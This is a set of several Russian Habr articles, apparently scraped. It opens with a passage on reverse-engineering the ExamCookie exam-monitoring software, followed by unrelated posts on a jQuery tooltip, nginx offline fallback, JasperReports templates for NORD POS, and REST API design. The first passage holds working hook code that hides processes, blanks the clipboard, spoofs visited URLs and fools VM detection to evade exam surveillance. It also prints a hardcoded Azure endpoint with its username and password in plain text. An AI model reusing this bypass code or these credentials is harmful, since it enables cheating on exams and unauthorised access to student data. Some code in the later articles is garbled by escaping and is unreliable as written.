vmware_port_exists = "0";
result = (HKEY)vmware_port_exists;
v14 = std::print((int)&dword_433310, "VMW=");
v15 = std::print(v14, (const char *)result);
v16 = std::print(v15, ",VPC=");
v17 = std::print(v16, vpcext_exists);
v18 = std::print(v17, ",VIB=");
v6 = (int *)std::print(v18, vbox_detected);
goto LABEL_16;
}
return 0;
}
```
Здесь проверяется присутствие порта ввода-вывода 'VX' от VMWare:
```
int __fastcall vm_detect::vmware_port()
{
int result; // eax
result = __indword('VX');
LOBYTE(result) = 0;
return result;
}
```
Далее проверяется выполнение инструкции *virtual pc extension*, которая должна работать только при запуске в виртуализированной среде, если не приведёт к сбою машины при неправильной обработке ;):
```
char vm_detect::vpcext()
{
char result; // al
result = 1;
__asm { vpcext 7, 0Bh }
return result;
}
```
…никакого реального реверс-инжиниринга, всего 30 секунд на переименование двух функций :(
Эта программа просто читает раздел реестра и запускает две проверки гипервизора, которые выглядят странно по сравнению с их другой программой. Интересно, где они это скопировали? О, посмотрите, статья под названием [«Методы обнаружения виртуальных (sic) машин»](https://shasaurabh.blogspot.com/2017/07/virtual-machine-detection-techniques.html), которая объясняет эти методы :). Во всяком случае, эти векторы обнаружения можно обойти путём редактирования файла .vmx или с помощью усиленной версии любого гипервизора на ваш вкус.
Защита данных
=============
Как упоминалось ранее, сейчас идёт расследование на предмет несоблюдения GDPR, а их [веб-сайт](https://www.examcookie.dk/faq/) заявляет:
> Данные шифруются и отправляются на безопасный сервер Microsoft Azure, к которому можно получить доступ только с правильными учётными данными. После экзамена данные хранятся до трёх месяцев.
Мы не совсем уверены, как они определяют «безопасность» сервера, поскольку учётные данные жёстко закодированы в приложении и хранятся совершенно открытым текстом в ресурсах метаданных:
```
Endpoint: https://examcookiewinapidk.azurewebsites.net
Username: VfUtTaNUEQ
Password: AwWE9PHjVc
```
Мы не изучали содержимое сервера (это незаконно), но можем предполагать, что там предоставляется полный доступ. Поскольку учётка жёстко закодирована в приложении, нет никакой изоляции между контейнерами данных учащихся.
*Юридическая оговорка: мы имеем право публиковать учётные данные API, поскольку они хранятся в общедоступном двоичном файле и, следовательно, не получены незаконно. Однако их использование со злым умыслом явно нарушает закон, поэтому настоятельно рекомендуем читателям никак не использовать вышеупомянутые учётные данные, и не несём ответственности за любые потенциальные действия.*
Обход
=====
Поскольку это приложение невероятно напоминает Digital Exam Monitor, мы просто обновили код [ayyxam](https://github.com/vmcall/ayyxam) для поддержки ExamCookie.
Список процессов
----------------
Интерфейс процесса .NET внутренне кеширует данные процесса с помощью системного вызова `ntdll!NtQuerySystemInformation`. Скрыть от него процессы требует некоторой работы, потому что информация о процессе указана во многих местах. К счастью, .NET извлекает только один определённый тип информации, поэтому не придётся применять все методы [latebros](https://github.com/vmcall/latebros).
Код для обхода проверки активных процессов.
```
NTSTATUS WINAPI ayyxam::hooks::nt_query_system_information(
SYSTEM_INFORMATION_CLASS system_information_class, PVOID system_information,
ULONG system_information_length, PULONG return_length)
{
// DONT HANDLE OTHER CLASSES
if (system_information_class != SystemProcessInformation)
return ayyxam::hooks::original_nt_query_system_information(
system_information_class, system_information,
system_information_length, return_length);
// HIDE PROCESSES
const auto value = ayyxam::hooks::original_nt_query_system_information(
system_information_class, system_information,
system_information_length, return_length);
// DONT HANDLE UNSUCCESSFUL CALLS
if (!NT_SUCCESS(value))
return value;
// DEFINE STRUCTURE FOR LIST
struct SYSTEM_PROCESS_INFO
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
ULONG BasePriority;
HANDLE ProcessId;
HANDLE InheritedFromProcessId;
};
// HELPER FUNCTION: GET NEXT ENTRY IN LINKED LIST
auto get_next_entry = [](SYSTEM_PROCESS_INFO* entry)
{
return reinterpret_cast(
reinterpret\_cast(entry) + entry->NextEntryOffset);
};
// ITERATE AND HIDE PROCESS
auto entry = reinterpret\_cast(system\_information);
SYSTEM\_PROCESS\_INFO\* previous\_entry = nullptr;
for (; entry->NextEntryOffset > 0x00; entry = get\_next\_entry(entry))
{
constexpr auto protected\_id = 7488;
if (entry->ProcessId == reinterpret\_cast(protected\_id) && previous\_entry != nullptr)
{
// SKIP ENTRY
previous\_entry->NextEntryOffset += entry->NextEntryOffset;
}
// SAVE PREVIOUS ENTRY FOR SKIPPING
previous\_entry = entry;
}
return value;
}
```
Буфер
-----
За внутреннюю реализацию буферов в .NET отвечает `ole32.dll!OleGetClipboard`, который очень поддаётся на хуки. Вместо того, чтобы тратить много времени на анализ внутренних структур, вы можете просто вернуть `S_OK`, а обработка ошибок .NET сделает всё остальное:
```
std::int32_t __stdcall ayyxam::hooks::get_clipboard(void* data_object[[maybe_unused]])
{
// LOL
return S_OK;
}
```
Это скроет от инструмента наблюдения ExamCookie весь буфер, не нарушая функциональность программы.
Скриншоты
---------
Как всегда, люди берут готовую .NET-реализацию нужной функции. Чтобы обойти эту функцию, нам не пришлось даже ничего менять в прошлом коде. Скриншоты управляются функцией `Graphics.CopyFromScreen` .NET. Она по сути является оболочкой для передачи битовых блоков, которая вызывает `gdi32!BitBlt`. Как и в видеоиграх для борьбы с античитерскими системами, которые делают скриншоты, мы можем применять хук на BitBlt и скрыть любую нежелательную информацию перед съёмкой скриншота.
Открытие сайтов
---------------
Граббер URL полностью скопирован с прошлой программы, так что мы опять можем повторно использовать свой код для обхода защиты. В [прошлой статье](https://vmcall.github.io/reversal/2019/03/07/exam-surveillance.html) мы задокументировали структуру AutomationElement, в результате выполнения которой запускается такой хук:
```
std::int32_t __stdcall ayyxam::hooks::get_property_value(void* handle, std::int32_t property_id, void* value)
{
constexpr auto value_value_id = 0x755D;
if (property_id != value_value_id)
return ayyxam::hooks::original_get_property_value(handle, property_id, value);
auto result = ayyxam::hooks::original_get_property_value(handle, property_id, value);
if (result != S_OK) // SUCCESS?
return result;
// VALUE URL IS STORED AT 0x08 FROM VALUE STRUCTURE
class value_structure
{
public:
char pad_0000[8]; //0x0000
wchar_t* value; //0x0008
};
auto value_object = reinterpret_cast(value);
// ZERO OUT OLD URL
std::memset(value\_object->value, 0x00, std::wcslen(value\_object->value) \* 2);
// CHANGE TO GOOGLE.COM
constexpr wchar\_t spoofed\_url[] = L"https://google.com";
std::memcpy(value\_object->value, spoofed\_url, sizeof(spoofed\_url));
return result;
}
```
Обнаружение виртуальной машины
------------------------------
Ленивое обнаружение виртуальной машины можно обойти двумя способами: 1) патч программы, которая сбрасывается на диск; или 2) редирект процедуры создания процесса на фиктивное приложение. Последнее кажется явно проще :). Итак, внутренне `Process.Start()` вызывает `CreateProcess`, поэтому достаточно сделать хук и перенаправить его на любое фиктивное приложение, которое печатает символ '0'.
```
BOOL WINAPI ayyxam::hooks::create_process(
LPCWSTR application_name,
LPWSTR command_line,
LPSECURITY_ATTRIBUTES process_attributes,
LPSECURITY_ATTRIBUTES thread_attributes,
BOOL inherit_handles,
DWORD creation_flags,
LPVOID environment,
LPCWSTR current_directory,
LPSTARTUPINFOW startup_information,
LPPROCESS_INFORMATION process_information
)
{
// REDIRECT PATH OF VMDETECT TO DUMMY APPLICATION
constexpr auto vm_detect = L"ecvmd.exe";
if (std::wcsstr(application_name, vm_detect))
{
application_name = L"dummy.exe";
}
return ayyxam::hooks::original_create_process(
application_name, command_line, process_attributes,
thread_attributes, inherit_handles, creation_flags,
environment, current_directory, startup_information,
process_information);
}
```
Скачать
-------
Весь проект доступен в [репозитории Github](https://github.com/vmcall/ayyxam). Программа работает путём инъекции двоичного файла x86 в соответствующий процесс. | https://habr.com/ru/post/453536/ | null | ru | null |
# JQuery tooltip widget
Доброго времени суток.
Решил опубликовать пост, который принес инвайт.
Недавно закончил работу над виджетом для JS библиотеке [JQuery](http://jquery.com/). Конечно на данный момент есть аналоги, и даже некоторые приведены здесь. Но во всех реализациях есть определенные недостатки и недоделки, к сожалению, эта реализация также не избежала некоторых проблем, но как кажется, преимущества его намного перекрывают все недоделки. Может быть кому-то он понравится, и кто-то решит исправить, доделать или улучшить реализацию, то милости прошу.
Итак, начнём.
С начала, ссылка на страницу для скачивания исходных кодов: [скачать](http://code.google.com/p/jquery-tooltip/).
А также, сразу же, страница с примерами и демонстрацией работы и примерами исходного кода: [пример](http://jquery-tooltip.googlecode.com/svn/trunk/demos/demo.html)
Что же нам нужно для работы всплывающей подсказки? Нам для этого потребуется сама библиотека JQuery 1.3 (можете взять последнюю версию [здесь](http://jquery.com/)), [Position plugin](http://docs.jquery.com/UI/Utility/Position) больше можно прочесть с этой [вики страницы](http://wiki.jqueryui.com/Position), [Template plugin](http://code.google.com/p/jquery-template/) позволяет задавать строку шаблона, и на основе JSON параметров, подстановка которых в шаблон выдает заполненную строку.
##### Установка
Установить всплывающую подсказку так же просто, как и любой другой jquery widget. Всё что нужно сделать – это подключить файл jquery.jtooltip.js с ява скриптом, а также файл со стилями jquery.jtooltip.css.
``> <script type="text/javascript" src="jqueryJS/jquery-1.3.2.min.js">script>
>
> "text/javascript"</font> src=<font color="#A31515">"jqueryJS/jquery-ui-1.7.2.custom.min.js"</font>>
>
> "text/javascript"</font> src=<font color="#A31515">"jqueryJS/jquery.bgiframe.js"</font>>
>
> "text/javascript"</font> src=<font color="#A31515">"jqueryJS/jquery.template-0.3.js"</font>>
>
> "text/javascript"</font> src=<font color="#A31515">"jqueryJS/jquery.ui.position.js"</font>>
>
>`` | https://habr.com/ru/post/76246/ | null | ru | null |
# Автономная работа frontend (заглушка, proxy_store, use_stale)
#### Введение
Технические работы неожиданно случаются у всех проектов и площадок — избежать нельзя, можно только подготовиться. В этом обзоре собран наш опыт перевода front фермы на автономный режим работы — без хранилища и backend.
* заглушка
* proxy\_store
* proxy\_cache\_use\_stale + memcache ttl=0
#### 1. Заглушка
Это самый простой способ — положить статичную страничку на локальный диск по всей ферме и настроить rewrite на нее всех запросов.
```
server {
listen 80;
location / {
rewrite ^.*$ /maintance.html;
}
location /maintance.html {
alias .../maintance.html;
expires -1;
}
}
```
Преимущества
* скорость подготовки
* отсутствие сюрпризов во время работы
* это лучше сообщений браузера о невозможности подключиться к серверу
Проблемы
* пользователь получает не то, что хотел бы
* проекты теряют деньги во время проведения технических работ
upd: В комментариях предложили еще использовать директиву [try\_files](http://nginx.org/en/docs/http/ngx_http_core_module.html#try_files), которая решает эту задачу без rewrite и разных location. И ставить expires заведомо в прошлое, чтобы браузер не закешировал у себя заглушку.
##### 1.5
Долго так продолжаться конечно же не могло и, перед следующим плановым downtime на 8 часов, нам поставили задачу
> откручивать рекламу любой ценой
Для понимания масштаба — у нас в сутки около полутора миллионов уников на двух сотнях новостных проектов, десятки (близко к ста) миллионов хитов на разный контент на front ферму, большая часть графики и видео лежит на CDN. Front ферма состоит из трех nginx узлов, над которыми стоит аппаратный балансировщик.
#### 2. proxy\_store
На время проведения работ в ферму был включен nginx-night со следующими настройками
* балансировщик отправлял на него четверть запросов пользователей
* в качестве upstream по всем проектам выступали три основных узла фермы
* все проходящие ответы записывались на SSD-массив с помощью директивы nginx proxy\_store
```
location / {
proxy_pass http://nginx-farm;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_pass_header X-Accel-Redirect;
proxy_pass_header X-Accel-Expires;
proxy_ignore_headers X-Accel-Redirect;
set $store_path ---$request_uri---$query_string;
if ($store_path ~ "(.*)(.{1})(.{2})"){
set $new_store_path $3/$2/$store_path;
}
proxy_store /data/cache/store/$host/$new_store_path;
}
location ~ \.(flv|asf|mp4)$ {
proxy_pass http://nginx-farm;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
```
В час Х основные узлы были выведены из балансировки, конфиг nginx-night изменен на примерно такой
```
location / {
root /data/cache/store/$host/;
set $store_path ---$request_uri---$query_string;
if ($store_path ~ "(.*)(.{1})(.{2})"){
set $new_store_path $3/$2/$store_path;
}
rewrite ^.*$ /$new_store_path break;
expires 1m;
}
location ~ css {
default_type text/css;
root /data/cache/store/$host/;
set $store_path ---$request_uri---$query_string;
if ($store_path ~ "(.*)(.{1})(.{2})"){
set $new_store_path $3/$2/$store_path;
}
rewrite ^.*$ /$new_store_path break;
expires 1m;
}
```
По сравнению с заглушкой это был огромный шаг вперед, но
* 700 MB/sec — именно такой была скорость записи на массив в режиме накопления данных
* нет возможности сохранять статусы ответов и заголовки
* для обработки user friendly urls, разбиения страниц на подкаталоги пришлось разбивать uri регуляркой и дописывать query\_string — это исключает возможность определения content type для большинства сохраненных файлов (именно для этого пришлось уже в боевом режиме вводить дополнительный location для css)
* никто не гарантирует, что 1 url = 1 страница (персонализированные блоки, pjax)
* при накоплении больше 200GB SSD-массив начинал уходить в себя
upd: Вообще-то здесь правильней было использовать proxy\_cache, но у нас была всего одна неделя от «показать рекламу» до «выключаем рубильник» и мы сделали выбор в пользу пусть ущербного, но гарантированного решения.
##### 2.5
По итогам у нас даже было желание решить найденные проблемы самописным решением, но на глобальные задачи не набралось приоритета, а площадка тем временем успела немного измениться
* локальные кеши легли на ramdisk, размеры проектных кешей за счет этого увеличились более чем на порядок, inactive выставлен в десять часов
* чтение статики с хранилища вынесено на отдельный пул процессов nginx на каждом узле, раздающий проксирует запросы на него, для мелкой статики настроен локальный кеш на ramdisk
* на нескольких узлах memcache организован глобальный кеш, управляемый приложениями
И тут нам снова хотят на восемь часов отключить внутренний мир сайтов, в том числе перевозят сетевые устройства. Proxy\_store использовать уже не было желания и мы попытались перейти на следующий уровень.
#### 3. proxy\_cache\_use\_stale
На всех проектах выставлен
```
proxy_cache_use_stale error timeout http_500 http_502 http_503 http_504;
```
Директива указывает nginx отдавать из кеша данные в случае ошибок, даже если данный элемент кеша уже считается устаревшим.
Дополнительно к этому
* на nginx узлах подняты memcache, все проекты, пишущие данные в memcache, дополнительно записывали их в эти instance с ttl=0 (бесконечным временем жизни)
* наведен некоторый порядок в проектных конфигах — все настройки upstream (app и memcache) вынесены в отдельные файлы
* для персонализированных блоков предусмотрена отдача пустышки при недоступности backend
И далее идет штатная эксплуатация всей площадки до момента Х, когда проводятся следующие манипуляции
* опускаем пул процессов, читающих с хранилища — мелкая статика, не попавшая в CDN, отдается с кеша по use\_stale
* переписываем app upstream's на несуществующий локальный порт и ставим ему connection\_timeout 5ms, снова работает use\_stale
* переписываем адреса memcache, эта часть работает штатно
Во время учений перед работами техподдержка радовала закрытием тикетов фразой «жалоб со стороны пользователей не поступало». В боевом режиме — девять часов автономной работы, схема оправдала все ожидания — новости читались, видео смотрелось, реклама крутилась. Хотя конечно и здесь нашлись некоторые проблемы
* потребовались некоторые изменения в приложениях
* часть проектов у нас делают no-cache, некоторые из них из-за ошибок в конфигурациях
* локальность кешей не гарантирует наличие свежих статей на всех узлах, пользователи натыкались на 404-ые и 502-ые
* отдельно стоят малопосещаемые проекты, их кеши перед такими работами следует прогревать
* по прежнему не имеем защиты от некорректных данных в кешах
В качестве приятного бонуса после всех доделок мы получили возможность переключать любой проект в статичный режим, если возникнет такая необходимость.
##### 3.5
Для следующего шага основной целью станет научиться говорить «ДА» в ситуации «все пропало, нам срочно надо откатить проект на 15/30 минут назад, можете ли вы это сделать, а мы пока исправим причины» )
[proxy\_store](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_store)
[proxy\_cache\_use\_stale](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_use_stale)
[proxy\_cache\_path](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_path)
[Memcache::set](http://php.net/manual/en/memcache.set.php) | https://habr.com/ru/post/162949/ | null | ru | null |
# Отчёты для NORD POS. Часть 1
### Берём данные, JasperReports и заполняем шаблон в iReport
Эта статья посвящена не столько, как это сделать красиво с точки зрения дизайна, а как с помощью имеющихся средств [JasperReports](https://sourceforge.net/projects/jasperreports/) сделать отчёты чёткими для восприятия пользователем и удобными для дальнейшего использования интегратором. Так как JasperReports, это в первую очередь не самостоятельное приложение, а библиотека расширения для программ написанных на Java, то в качестве источника информации для построения отчётов будем использовать базу данных от NORD POS(подробнее об этом моём проекте в [отдельной статье](http://habrahabr.ru/post/246919/)). При этом изложенный «под катом» материал, я надеюсь, будет интересен не только пользователям моей POS, но и всем тем, кто хочет больше узнать о мощном инструменте формирования отчётов для своего приложения, а на русском языке материалов посвящённых JasperReports не так и много.
#### Загружаем основу
Основой построения любого отчёта средствами JasperReports является шаблон с расширением jrxml. Этот файл XML-формата можно создать с нуля, как в текстовом редакторе, так и скомпоновать из элементов(а по сути XML-тегов) в визуальной оболочке [iReport](https://sourceforge.net/projects/ireport/). Приложение iReport есть в виде плагина для NetBeans или в виде самостоятельной программы. Для данной статьи я выбрал второй вариант, как более наглядный с моей точки зрения.
Первое, что необходимо сделать после установки и запуска iReport, это создать чистый лист шаблона для последующего заполнения элементами отчёта(команда **File -> New...**). Я выбрал шаблон формата A4, расположенный портретно.
В дальнейшем вы можете поменять, как формат листа, так и поля отступов на нём(команда **Format -> Page format...**). И здесь вы встретитесь с первой проблемой, которую придётся учитывать по ходу всей работы с JasperReports, невозможностью точно выставить значения в привычных нам миллиметрах. Точно можно выставить только значение в пикселях, при этом на один дюйм приходится 72 пикселя, а вот в миллиметрах это всегда будет дробное значение 25,4 мм. В обычном отчёте из столбцов это не сильно существенно, но если делать шаблон этикетки, то такой подход к расчётам вам попортит значительно нервы, так как под рукой только миллиметровая линейка и необходимо будет экспериментально подобрать, то количество пикселей которое будет вмещаться при печати на заготовку этикет ленты. Вот как у меня получилось:
**Та-же пустая форма отчёта в виде XML**
```
xml version="1.0" encoding="UTF-8"?
```
И эти размеры будут примерно соответствовать отступам сверху и снизу по 11 мм, слева 15 мм, а справа 10 мм.
#### Подключаем источник
Если шаблон формы отчёта, это основная визуальная составляющая JasperReports, то источники данных, это внутрення основа механизма обработки и построения отчёта. В качестве источника данных, могут служить, как базы или хранилища данных, так и например просто табличные или текстовые файлы. Но в моём случае с NORD POS в качестве источника данных выступит база данных Apache Derby, подключаемая через JDBC-драйвер. Так как библиотека драйвера клиента Apache Derby по-умолчанию не добавлена в окружение iReport, предварительно нужно указать к ней путь в параметрах(команда **Tools -> Options**) и перезагрузить iReport.
Изначально источник выбранный по-умолчанию пуст.
Но войдя в параметры можно будет его добавить, сделав источником информации для заполнения полей отчёта.
Указав параметры JDBC-драйвера и запустив предварительно NORD POS, можно проверить соединение. А для того, чтобы убедиться, что поля базы данных доступны JasperReports, сделаем простой запрос.
**Этот запрос, но в формате XML**
```
SELECT
REFERENCE
, CODE
, NAME
, PRICEBUY
, PRICESELL
FROM
PRODUCTS
```
Наш источник готов к использованию.
#### Пишем запрос
Это был очень простой SQL-запрос, в результате его выполнения мы получим только список товаров хранящийся в базе данных NORD POS. Но обычно в отчётах приходится использовать более сложные конструкции. Кроме названий самих товаров хорошо было-бы получить названия категорий товаров для последующий группировки товаров в нашем отчёте. А, так как цена продажи товаров у нас не содержит налога, то ещё необходимо получить ставку налога по каждой позиции товара в справочнике. В итоге, для дальнейшего построения отчёта, будем использовать SQL-запрос такого вида:
```
SELECT
PRODUCTS.NAME AS PRODUCT_NAME
, PRODUCTS.REFERENCE AS PRODUCT_REFERENCE
, PRODUCTS.PRICESELL AS PRODUCT_PRICESELL
, PRODUCTS.CATEGORY AS CATEGORY_ID
, CATEGORIES.NAME AS CATEGORY_NAME
, TAXES.RATE AS TAX_RATE
FROM
PRODUCTS
LEFT OUTER JOIN CATEGORIES ON PRODUCTS.CATEGORY = CATEGORIES.ID
LEFT OUTER JOIN TAXCATEGORIES ON PRODUCTS.TAXCAT = TAXCATEGORIES.ID
LEFT OUTER JOIN TAXES ON TAXCATEGORIES.ID = TAXES.CATEGORY
ORDER BY CATEGORIES.NAME, PRODUCTS.NAME
```
При этом сразу хочу предупредить, при построении SQL-запросов постарайтесь избегать в них конструкций для группировки данных непосредственно на уровне источника, но не забывайте предварительно данные отсортировать. Лучше доверить все операции связанные с консолидацией информации непосредственно JasperReports, так ваш отчёт будет более универсальным для различных СУБД, а вы в дальнейшем более гибко сможете менять последовательность алгоритмов обработки по представлению данных в различной форме.
В итоге на панели структуры отчёта станут доступны поля из источника данных.
**А в XML-шаблоне появится набор тегов**
```
```
##### Размещаем данные
Когда данные доступны, самое время рассказать о том, как их разместить в отчёте. Для начала просто разместим полученные поля в секции **Detail**, автоматически подписи к полям будут вынесены в секцию заголовка **Column Header**.
**В XML-шаблоне будут сгенерированы секции columnHeader и detail**
```
CATEGORY\_NAME
PRODUCT\_REFERENCE
PRODUCT\_NAME
TAX\_RATE
PRODUCT\_PRICESELL
$F{CATEGORY\_NAME}
$F{PRODUCT\_REFERENCE}
$F{PRODUCT\_NAME}
$F{TAX\_RATE}
$F{PRODUCT\_PRICESELL}
```
Теперь, если нажмём на предпросмотр, то увидим наш список товаров из базы данных уже в виде отчёта.
Данные получены и отчёт сформирован, теперь можно приступить к их обработке и оформлению отчёта для более наглядного представления информации.
#### Оформляем шаблон
Начнём с самого простого, сделаем заголовок и нижний колонтитул нашего отчёта. Для этого в секцию **Title** добавим подпись и синий баннер для фона, а в **Page Footer** поле с подстановкой переменных для количества страниц.
**Секция заголовка отчёта title**
```
Товары на продажу
```
**Секция нижнего колонтитула pageFooter**
```
$V{PAGE\_NUMBER}.toString().concat("/")
$V{PAGE\_NUMBER}
```
Для того, чтобы предать единообразность отчётам, рекомендую использовать набор стилей, сделав один из них основным по-умолчанию. Стили – это группа полей в начале нашего шаблона, они устанавливают общие параметры для оформления элементов отчёта, и могут быть заданны не только для текстовых элементов, но и для фигур и линий включённых в шаблон.
**Набор стилей**
```
<paragraph leftIndent="24"/>
<box>
<pen lineWidth="0.0"/>
<topPen lineWidth="0.0"/>
<leftPen lineWidth="0.0"/>
<bottomPen lineWidth="0.0"/>
<rightPen lineWidth="0.0"/>
</box>
```
#### Делаем расчёты
При создании шаблонов в разделе переменных автоматически генерируется несколько счётчиков, их значение меняется в зависимости от положения в шаблоне. Например мы уже использовали **PAGE\_NUMBER** для подсчёта страниц, при этом используя одну и туже переменную, но задав параметр **evaluationTime=«Report»** для второго поля, мы получили общее количество страниц в отчёте.
Для указания порядкового номера номенклатурной позиции в отчёте используем переменную **COLUMN\_COUNT**, выбрав её из списка и вставив в выражение для расчёта значения поля.
**Порядковый номер строки**
```
$V{COLUMN\_COUNT}
```
Значение артикула **PRODUCT\_REFERENCE**, так как оно содержит только цифры и знак минус в качестве разделителя между кодом группы и кодом товара, поместим в отдельный объект генерирующий штрих-код.
**Поле штрих-кода** />
jasperreports.sourceforge.net/jasperreports/components» xsi:schemaLocation=«[jasperreports.sourceforge.net/jasperreports/components](http://jasperreports.sourceforge.net/jasperreports/components) [jasperreports.sourceforge.net/xsd/components.xsd](http://jasperreports.sourceforge.net/xsd/components.xsd)» moduleWidth=«1.5» textPosition=«bottom» quietZone=«10.0»>
$F{PRODUCT\_REFERENCE}
Поле **PRODUCT\_NAME**, **PRODUCT\_PRICESELL** и **TAX\_RATE** оставим таким, какими они были получены из база данных, только указав паттерны для **PRODUCT\_PRICESELL** валюты, а для **TAX\_RATE** процента.
 
**Поля PRODUCT\_NAME, PRODUCT\_PRICESELL и TAX\_RATE**
```
$F{PRODUCT\_NAME}
$F{PRODUCT\_PRICESELL}
$F{TAX\_RATE}
```
Последним у нас идёт поле расчёта для получения суммы цены с налогом.
**Расчёт цены с налогом**
```
$F{PRODUCT\_PRICESELL} \* (1.0 + $F{TAX\_RATE})
```
#### Группируем поля
Ну и напоследок сделаем две группировки. Первая, сгруппируем нашу номенклатуру товаров по коду категории, посчитав с помощью **Categories\_COUNT** сколько позиция входит в каждую.
**Группировка номенклатуры по категории товара**
```
$F{CATEGORY\_ID}
$F{CATEGORY\_NAME}
$V{Categories\_COUNT}
```
Вторая, это финальная секция отчёта **Summary**, в ней **REPORT\_COUNT** подсчитает сколько всего номенклатурных позиций вошло в наш отчёт.
**Суммарный итог**
```
$V{REPORT\_COUNT}
Всего позиций
```
#### Шаблон готов
Всё, можно нажимать просмотр, наш шаблон готов для формирования отчёта.
Теперь можно приступать к его интеграции в NORD POS, но этому будет посвящена [вторая часть статьи](http://habrahabr.ru/post/248587/). А в этой части я постарался максимально обобщённо и просто рассказать об основных действиях для создания шаблонов в iReport, так что описанное здесь пригодится не только пользователям NORD POS, а всем у кого появилась необходимость в первый раз создать собственный отчёт для библиотеки JasperReports. | https://habr.com/ru/post/247515/ | null | ru | null |
# Разработка web API
#### Интро
Это краткий перевод основных тезисов из брошюры «Web API Design. Crafting Interfaces that Developers Love» Брайана Маллоя из компании Apigee Labs. Apigee занимается разработкой различных API-сервисов и консталтингом. Кстати, среди клиентов этой компании засветились такие гиганты, как Best Buy, Cisco, Dell и Ebay.
В тексте попадаются комментарии переводчика, *они выделены курсивом*.
#### Собираем API-интерфейсы, которые понравятся другим разработчикам
##### Понятные URL для вызовов API
Первый принцип хорошего REST-дизайна — делать **вещи понятно и просто**. Начинать стоит с основных URL адресов для ваших вызовов API.
Ваши адреса вызовов должны быть понятными даже без документации. Для этого возьмите себе за правило описывать любую сущность с помощью коротких и ясных базовых URL адресов, содержащих **максимум 2 параметра**. Вот отличный пример:
> `/dogs для работы со списком собак`
>
> `/dogs/12345 для работы с отдельной собакой`
##### Существительные — это хорошо, а глаголы — плохо
Держите глаголы как можно дальше от базовых URL сущностей вашего API. Многие разработчки используют глаголы для описания объектов. Ясное дело, что в работе часто приходится моделировать сложные сущности. И эти сущности взаимодействуют между собой. Но при попытке ввести глаголы для моделирования сущностей и их связей, мы, скорее всего, получим большое количество труднозапоминаемых и непонятных вызовов:
> `/getAllDogs`
>
> `/getAllLeashedDogs`
>
> `/getDog`
>
> `/newDog`
>
> `/saveDog`
Видите эти вызовы? Это ужас.
##### Вместо глаголов — HTTP
Мы только что описали собак с помощью двух базовых URL адресов с существительными. Теперь нам нужно работать с созданными сущностями. Чаще всего требуются операции чтения, создания, редактирования и удаления (CRUD — Create — Read — Update — Delete). Для этого нам прекрасно подойдут HTTP-методы **GET**, **POST**, **PUT** и **DELETE**.
> `POST /dogs — создать новую собаку`
>
> `GET /dogs — получить список собак`
>
> `PUT /dogs — редактирование всех собак сразу`
>
> `DELETE /dogs — удаление всех собак`
>
>
>
> `POST /dogs/12345 — вернуть ошибку (собака 12345 уже создана)`
>
> `GET /dogs/12345 — показать информацию о собаке`
>
> `PUT /dogs/12345 — редактировать собаку 12345`
>
> `DELETE /dogs/12345 — удалить`
Базовые URL выглядят просто, глаголы не используются, все интуитивно и понятно. Красота!
##### Множественное число
Хорошо использовать для описания базовых URL существительные во множественном числе. Хуже — в единственном числе. Плохо — смешивать адреса с существительными в единственном и множественном числе.
> `/checkins у Foursquare`
>
> `/deals y GroupOn`
>
> `/Product y Zappos`
##### Конкретные имена лучше абстрактных
Абстрактные названия — это часто считается крутым у архитекторов API. И это совсем не круто для тех, кто потом с этим API будет работать.
**/blogs, /videos, /news, /articles** — это выглядит очевидным. А вот /items и /assets — нет.
##### Связи
Одни ресурсы всегдя связаны с другими ресурсами. Есть ли очевидный и простой способ показать эти связи через API? При этом помня о нашем разделении на существительные и глаголы?
> `GET /owners/5678/dogs`
>
> `POST /owners/5678/dogs`
Мы только что представили связь двух ресурсов в простом виде. Метод GET в этом случае вернет нам список собак владельца 5678, а метод POST — добавит владельцу 5678 еще одну собаку.
Связи очень удобно представлять в виде **/ресурс/идентификатор/ресурс**.
##### Сложные вещи нужно прятать за знаком «?»
Почти у каждого API есть куча параметров, которые можно читать, обновлять, фильтровать и работать с ними всякими другими способами. Но все эти параметры не должны быть видны в базовых адресах. Лучше всего указывать параметры внутри обращения к базовым адресам.
> `GET /dogs?color=red&state=running&location=park`
##### А что насчет ошибок?
Хороший механизм обработки ошибок — это часть любого хорошего API. Давайте посмотрим, как выглядят ошибки в популярных API.
> Facebook
>
> `HTTP Status Code: 200`
>
> `{"type" : "OauthException", "message":"(#803) Some of the
>
> aliases you requested do not exist: foo.bar"}`
Не важно, как выполнится запрос — Facebook всегда вернет нам код 200 OK.
> Twilio
>
> `HTTP Status Code: 401`
>
> `{"status" : "401", "message":"Authenticate","code": 20003, "more
>
> info": "http://www.twilio.com/docs/errors/20003"}`
Twilio проделали хорошую работу и для каждой ошибки в API подобрали адекватный код ошибки HTTP. Как и Facebook, ребята предоставляют информацию об ошибке еще и в теле ответа. И, что самое прикольное, они дают ссылку на документацию по проблеме.
> SimpleGeo
>
> `HTTP Status Code: 401`
>
> `{"code" : 401, "message": "Authentication Required"}`
SimpleGeo дают сообщение об ошибке в коде HTTP и снабжают его небольшим пояснением в теле ответа.
##### Используйте коды ответов HTTP
Смело берите HTTP коды ответов и сопоставляйте с ответами вашего API. Всего в частом употреблении находится около 70-ти кодов. Мало кто из разработчиков помнит их все, так что из этих 70-ти лучше взять примерно 10. Кстати, так поступает большая часть провайдеров API.
> Google GData
>
> `200 201 304 400 401 403 404 409 410 500`
> Netflix
>
> `200 201 304 400 401 403 404 412 500`
> Digg
>
> `200 400 401 403 404 410 500 503`
##### Какие коды ошибок HTTP стоит использовать?
Возможно только 3 варианта ответов API
1. Запрос прошел успешно
2. На вход были переданы неправильные данные — клиентская ошибка
3. Произошла ошибка при обработке данных — серверная ошибка
Так что можно взять за основу 3 кода ответов:
1. 200 OK
2. 400 Bad Request (некорректный запрос)
3. 500 Internal server error (внутренняя ошибка сервера)
Если 3-х кодов вам недостаточно — возьмите еще 5:
1. 201 Created (Запись создана)
2. 304 Not Modified (Данные не изменились)
3. 404 Not Found (Данные не найдены)
4. 401 Unauthorized (Неавторизованный доступ)
5. 403 Forbidden (Доступ запрещен)
*Лучше всего не следовать этой практике слепо. Оценивайте пользу от использования HTTP кодов ответов
